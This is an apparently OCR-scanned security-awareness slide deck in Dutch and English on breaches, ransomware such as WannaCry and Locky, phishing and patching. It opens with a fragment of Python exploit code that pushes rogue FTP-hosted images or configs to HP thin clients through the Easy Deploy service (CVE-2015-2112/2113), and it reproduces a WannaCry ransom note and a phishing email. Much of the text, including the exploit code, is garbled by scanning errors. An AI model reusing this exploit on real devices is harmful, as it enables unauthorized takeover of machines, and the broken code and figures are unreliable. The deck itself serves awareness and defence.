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Whoaml

# print " [WARNING] MMAP did not found the deploy_service port to be open"

# print "[WARNING] The system may not be wulnerable, but we'll try"
except:

print (" [FATAL ERROR] System seems to be down™)

sys. exitl)

class Messages:
def printMessage(self):
if(self.messageid == '1'):
print ("[INFO] * + self.message)
elif(self.messageid == '2'):
print (" [WARNING] " + self.message)
elif(self.messageid == '3'):
print ("[FATAL ERROR] " + self.message)
elif(self.messageid == '4'}:
print ("[INPUT] " + self.message]

def setMessage(self, messageid, message):
self.message = message
self.messageid = messageid
self.printMessage()

## Class for each method
class ImageConfig:
def __init__(self, ip):
self.ip = ip
print (" [INSTRUCTION] Te succesfull depley an image or config file, you need a valid FTP server with a
HPIMG or HPCFG file")

print (" [INSTRUCTION] The ThinClient WILL reboot if an invalid FTP is given, but thiz will not cause DoS
self. ftpuser = raw_input(' [INPUT] Enter FTP username: ")
self. ftppass = raw_input(' [INPUT] Enter FTP password: ')
self. ftpadress = raw_input({' [INPUT] Enter FTP IP adress: ')
self. ftpfilename = raw_input('[INPUT] Enter filename: ")

deployConfig(self):

print ("[INFO] Deploying given config")

HttpRunner(self.ip, “/easydeploy/1l/deploy/config?repo=FTP://" + self.ftpuser + “:" + self.ftppass + "@"
self. ftpadress + "7file=" + self.ftpfilename)

deployIrage(self):
print (*[INFO] Deploving given image™)
HttpRunner({self.ip, “fea;ydeplnyﬁlfdeploy(image?repo=FTF:F#“ + self.ftpuser + ":" + self.ftppass + "@"
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http://www.digitalattackmap.com/
http://www.digitalattackmap.com/

Internet evolved.
And I'm not sure if that's a good thing
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Reason #1 - | miss this



http://www.youtube.com/watch?v=aV8DEJ8ydJQ

Reality

Reason #2 - It kills
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http://www.youtube.com/watch?v=WYsAkjfXxzU

Reality

Reason #3 - It's not so good as you think

@ SV M tutera



Deal with it.

And take care
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THIS YEAR IN HACKS

MySpace hack puts another 427 million passwords up for
sale

A hacker claims to be selling millions of Twitter accounts

One of the biggest hacks happened last year, but nobody
noticed

171 million VK.com accounts stolen by hackers

Hacker puts 51 million file sharing accounts for sale on dark
web

Ubuntu Forums hack exposes 2 million users

Oracle investigating data breach at Micros point-of-sale
division

Epic's forums hacked again, with thousands of logins stolen

Millions of Steam game keys stolen after hacker breaches
gaming site

Hackers stole 43 million Last.fm account details in 2012
breach

427.000.000
2.000.000
171.000.000
2.000.000
43.000.000

645.000.000



645.000.000
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Business functions run in the cloud

36% 34%

Operations Customer

34% 32%

Marketing Finance
& sales

Source: PwC, CIO and CSO, The Global State of Information Security® Survey 2017, October 5, 2016




If your company is one of them



DID YOU ASK WHAT
YOUR CLOUD
PROVIDER DOES TO
PROVIDE MAX
SECURITY?



DID YOU?




And did you (let people) check if it's good?



DID YOU?
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Junior Meijering @ochhnoohedidnt - 22 aug. 2016

Stock photo is a good example of how
hackers work; they connect 2 laptops and a
screen, without cables, with coffee.

& Vertalen uit het Engels
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They think a little different
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http://www.youtube.com/watch?v=6CeksbYFrbY

Hackers

RISK ASSESSMENT —

How LinkedIn’s password sloppiness
hurts us all

Second data dump lets hackers be 6 times better cracking future dumps.

JEREMI M. GOSNEY - JUN 1, 2016 10:00 AM UTC

~ " RTL Nieuws hackt Twitteraccount Van der Staaij

Kees van der Staaij X
- 'keesvdstaaij

el

Dit account is lek en dus gevoelig voor hackers.
|s getekend, @danielverlaan en @siebesietsma
van @rtlnieuws. Zie: rtinieuws.nl/nederland/poli

& Translate from Dutch

o 1 11 1
31 7

12:29 PM - 12 Jan 2017
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RTL Nieuws hackt Twitteraccount Van der Staaij

Ke' {
‘ Ke i

Dit acct
Is getek
van @rt

& Translate frc

RETWEETS

31

12:28 PM - 12

Edwin van Andel © Yafsec - 13 jan.

| Hey @RTLNL en @EditieNL, volgens mij

moeten jullie zelf die gehackte Database
lijsten ook nog even door lopen..... #/0OLO
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b Liadisa

Sorry, we need you to reset your password as a
security precaution.

Plaass chick your il BNa ChCH Tl BESCLMNE Bk
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Knowledge is power..
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..But lazy
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ravVeyeaY /
J J ~
Q) New Scan
sl Statistics
= Scan Your Magento Store
e A Mage Scan will look information and security issues on your online store.

: Allow a few minutes for the scan to complete, after which you can view its details and suggestions for
alyciaiwpscan artdecotechd ruby wpscan.rb --upd T

/

L e T e St

L s T

WA e | = e Tl R

e Il [N | .
WordFress Security Scanner by the WFSc:
Yersion 2.8 -
Sponsored by Sucuri - https://sucuri

@ WFscan_, Bethicalhacksr, Berwan_lr. pwdl, ® FireFart_

Updating the Database
Update completed.
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..And questioning everything
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« HP t5540 Thin Client

« HP t5740 Thin Client

« HP £5740e Thin Client

» HP £510 Flexible Thin Client

« HP t520 Flexible Thin Client
« HP t610 Flexible Thin Client
« HP t620 Flexible Thin Client
« HP t820 Flexible Thin Client

BACKGROUND
For a PGP signed version of this security bulletin please write to: security-alert@hp.com

Cv5s8 2.0 Base Metrics

Reference Base Vector Base Score
CVE-2015-2112 (AV:N/AC:L/BAu:S/C:C/I:CfA:C) 9.0
CVE-2015-2113 (AV:N/AC:L/Au:N/C:C/T:-C/n:C) 10

Information on CVSS is documented in HPF Customer Notice: HPSN-Z008=-002

The Hewlett-Packard Company thanks Junior Meijering for reporting this issue security-alert@hp.com.

RESOLUTION
HP has removed HP Easy Deplay from the HP Easy Tools software package beginning with version 3.0.1.1650.

HD rarsmimiande imdstinsg HP Esev Taale thin cliant mafnamgamiant eaftuisrs fa 5t laset vareias T 01 168N aF |star
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Ransomware



Reality

LEAKED NSA MALWARE IS HELPING HIJACK
COMPUTERS AROUND THE WORLD
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Every 10 seconds, a consumer gets hit with ransomware.

(up from every 20 seconds in Q1 2016)

Every 40 seconds, a company gets hit with ransomware.

(up from every 2 minutes in Q1 2016)




REVENUE

$24.000.000 - 2015

S$209.000.000 - 3 maanden 2016
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Hoe dan?



Reality

Here Are 4 Vulnerabilities
Ransomware Attacks Are Exploiting
Now

A zero-day exploit exposed in the Hacking Team breach is among the top
weapons deployed in recent ransomware attacks, as well as lots of
Flash.
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ti 03-02-2015 18:00

Claude Whittenbeck <impostors@gtsmx.com>
Fax from +07885862087

From: +07885862087

Date: 2015/01/18 16:58:45 CST
Pages: 2

ID: BIKSEGBCES765A04B

Filename: r_and d marine_ltd223.zip

R & D Marine Ltd
Claude Whittenbeck
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Invoice-50-T8453 from_the Training Metwork.doc [Compatibility Mode] - Microsaft Word
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Simpel, right?
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Locky

Voornamelijk infecties mbv Office docs

Voornamelijk verspreid door het N@CUI'S Botnet

Necurs:

In 2012 voor het eerst gespot, direct met 83.000 infected PC's
Maakte gebruik van een eigen domein, dat officieel niet bestaat
In 2013 gebruikte het Gameover Zeus malware
- Gameover Zeus is gebaseerd op de originele versie van Zeus
In 2014 werd de combinatie gebruikt om machines te infecteren met een eigen rootkit
- Vrijwel niet te verwijderen
Eind 2014 werd Gameover Zeus opgerold
- CryptoLocker was al ontwikkeld en nam de wereld over
- +/-¢30.000.000 in 100 dagen revenue
Opvolger van Cryptolocker was Cryptowall
- $325.000.000 in een half jaar
2016 was het jaar dat ze partneren met Dridex
- Banking trojan
- Miljoenen revenue in elke aanval
Wordt als service aangeboden en verpreidt van alles
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Spam Volume and Spam with Malicious Attachments

|6 until first week of lanuary 2017

. - A = A B n . = . o s

W Spam vathout mall
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13-Apr 14-Apr

®m Number of identical spam emails from Necurs
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Example: Wannacry
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Wana DecryptOr 2.0
Ooops, your files have been encrypted!

What Happened to My Computer?

Your important files are encrypted.

Many of your documents, photos, videos, databases and other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for a way to
recover your files, but do not waste your time. Nobody can recover your files without
our decryption service.

Payment will be raised on :
. ssg Can I Recover My Files?

51672017 00:47:55 Sure. We guarantee that you can recover all your files safely and easily. But you have
not so enough time,

Time Left You can decrypt some of your files for free. Try now by clicking <Decrypt>.

But if you want to decrypt all your files, you need to pay.

You only have 3 days to submit the payment. After that the price will be doubled.
Also, if you don’t pay in 7 days, you won't be able to recover your files forever.

We will have free events for users who are so poor that they couldn’t pay in 6 months.

Your files will be lost on

How Do I Pay?
512072017 00:47:55

Payment is accepted in Bitcoin only. For more information, click <About bitcoin>.
Please check the current price of Bitcoin and buy some bitcoins. For more information,
click <How to buy bitcoins>.

And send the correct amount to the address specified in this window.

After your payment, click <Check Payment>, Best time to check: 9:00am - 11:00am

o ¥ ., J Sy 7 PR G o S

Time Left

Send $300 worth of bitcoin to this address:

About bitcon bitco;n
it [12t9YDPgwueZ9NyMgw519p7AABisjré SMw

How to buy bitcoins?

e Check Payment
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More than 400,000 machines infected

Wannacry: Affected Windows Versions by %
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Only 0.07% of victims have paid

actual ransom
' @actual ransom

Status of WannaCry wallets:
49.96959529 BTC ($120,055.58)
314 payments, 0 withdraws

Last payment:

2017-05-25 at 08:59 AM ET

4:00 AM - 26 May 2017
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£l misterchOc | shadowbroker @® Watch~ 301 # Star 2,443 Y Fork 1,698
<> Code Issues 6 Pull requests 1 Projects 0 Graphs
The Shadow Brokers "Lost In Translation" leak

D 21 commits ¥ 1 branch > 0 releases 42 4 contributors
[ I

Branch: master = New pull request Create new file | Upload files  Find file Clone or download ~

. misterchOc committed on GitHub Merge pull request #19 from keepad/master .- Latest commit d77d577 21 days ago

B oddjob oddjob a month ago
il swift decrypted files https://steemit.com/shadowbrokers/@theshadowbrokers/I... a month ago
i} windows Merge branch 'master' of https://github.com/misterchOc/shadowbroker a month ago
[E] README.md Update README.md 21 days ago

[E file-listing oddjob a month ago

README.md




The patch for the SMB vulnerability

was available for 59 days prior to the
attack




The patch for the SMB vulnerability
was available for 59 days prlor to the
attack
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Hoe te wapenen?



Reality

1. Controleer network/sharing en backups
2. Patch beheer/Automagisch?

3. Awareness
4. Voer reguliere scans en testen uit



Most important

Become a hacker!



Cheers



Amsterdam (hq) Assen

Korte Leidsedwarsstraat 12 Overcingellaan 17
1017 RC Amsterdam 9401 LA Assen
The Netherlands The Netherlands
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